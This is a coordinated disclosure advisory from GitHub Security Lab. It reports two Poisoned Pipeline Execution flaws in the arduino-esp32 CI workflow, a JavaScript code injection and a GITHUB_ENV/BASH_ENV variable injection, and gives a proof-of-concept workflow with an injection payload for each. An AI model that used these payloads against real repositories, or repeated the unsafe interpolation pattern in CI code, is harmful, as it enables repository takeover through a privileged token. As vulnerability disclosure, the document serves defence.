Coordinated Disclosure Timeline

Summary

Arduino-esp32 is vulnerable to Poisoned Pipeline Execution (PPE) allowing malicious actors to take over the repository.

Project

Arduino-ESP32

Tested Version

Latest commit at the time of reporting

Details

Code injection in tests_results.yml workflow (GHSL-2024-169)

The tests_results workflow is triggered when the Wokwi tests workflows completes:

on:
  workflow_run:
    workflows: ["Wokwi tests"]
    types:
      - completed

It then downloads an artifact uploaded by the triggering workflow into the artifacts/ directory:

- name: Download and Extract Artifacts
uses: dawidd6/action-download-artifact@v6
with:
  run_id: ${{ github.event.workflow_run.id }}
  path: ./artifacts

And read the contents of the artifacts into different Environment Variables:

```yaml
- name: Get original info
run: |
  original_event=$(cat ./artifacts/parent-artifacts/event.txt)
  original_action=$(cat ./artifacts/parent-artifacts/action.txt)
  original_sha=$(cat ./artifacts/parent-artifacts/sha.txt)
  original_ref=$(cat ./artifacts/parent-artifacts/ref.txt)
  original_conclusion=$(cat ./artifacts/parent-artifacts/conclusion.txt)
  echo "original_event=$original_event" >> $GITHUB_ENV
  echo "original_action=$original_action" >> $GITHUB_ENV
  echo "original_sha=$original_sha" >> $GITHUB_ENV
  echo "original_ref=$original_ref" >> $GITHUB_ENV
  echo "original_conclusion=$original_conclusion" >> $GITHUB_ENV

Some of the attacker-controlled variables (such as the original_ref variable) are later interpolated into a JavaScript script, enabling an attacker to alter the code of the script and execute arbitrary code in the context of a high-privileged workflow:

- name: Clean up caches
if: always()
uses: actions/github-script@v7
with:
  script: |
    const ref = '${{ env.original_ref }}';
    ...

PoC

name: Wokwi tests

on:
  pull_request:

jobs:
  trigger:
    name: Upload artifact
    runs-on: ubuntu-latest
    steps:
      - run: |
        mkdir -p artifacts/parent-artifacts/
        printf "${{ github.sha }}" > artifacts/parent-artifacts/sha.txt
        printf "pull_request" > artifacts/parent-artifacts/event.txt
        printf "success" > artifacts/parent-artifacts/conclusion.txt
        printf "" > artifacts/parent-artifacts/action.txt
        # PAYLOAD
        printf "foo'; console.log('CODE INJECTION'); //" > artifacts/parent-artifacts/ref.txt

Impact

This issue may lead to a repository takeover since it will grant an attacker a GITHUB_TOKEN with the following permissions:

  Actions: write
  Checks: write
  Contents: write
  Metadata: read
  PullRequests: write
  Statuses: write

Environment Variable injection (GHSL-2024-170)

In the same workflow/step, the untrusted data from an artifact is redirected to GITHUB_ENV to create a new Environment Variable:

- name: Get original info
run: |
  original_event=$(cat ./artifacts/parent-artifacts/event.txt)
  original_action=$(cat ./artifacts/parent-artifacts/action.txt)
  original_sha=$(cat ./artifacts/parent-artifacts/sha.txt)
  original_ref=$(cat ./artifacts/parent-artifacts/ref.txt)
  original_conclusion=$(cat ./artifacts/parent-artifacts/conclusion.txt)
  echo "original_event=$original_event" >> $GITHUB_ENV
  echo "original_action=$original_action" >> $GITHUB_ENV
  echo "original_sha=$original_sha" >> $GITHUB_ENV
  echo "original_ref=$original_ref" >> $GITHUB_ENV
  echo "original_conclusion=$original_conclusion" >> $GITHUB_ENV

The $GITHUB_ENV pointed file is just a regular file where every KEY=VALUE will be used to define a new Environment Variable.

An attacker can send a malicious event.txt file (or any of the other artifacts), with the following content:

pull_request
BASH_ENV=$(echo "ENV-VAR INJECTION")

Which will result in two Environment Variables being defined:

The BASH_ENV will pollute the bash environment so that next Run step will execute the code in the variable.

PoC

name: Wokwi tests

on:
  pull_request:

jobs:
  trigger:
    name: Upload artifact
    runs-on: ubuntu-latest
    steps:
      - run: |
        printf "${{ github.sha }}" > artifacts/parent-artifacts/sha.txt
        printf "pull_request" > artifacts/parent-artifacts/event.txt
        printf "success" > artifacts/parent-artifacts/conclusion.txt
        printf "" > artifacts/parent-artifacts/action.txt
        # PAYLOAD
        printf "pull_request\nBASH_ENV=$(echo 'ENV-VAR INJECTION')" > artifacts/parent-artifacts/ref.txt

Impact

This issue may lead to a repository takeover since it will grant an attacker a GITHUB_TOKEN with the following permissions:

  Actions: write
  Checks: write
  Contents: write
  Metadata: read
  PullRequests: write
  Statuses: write

Resources

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2024-169 and GHSL-2024-170 in any communication regarding this issue.

CVE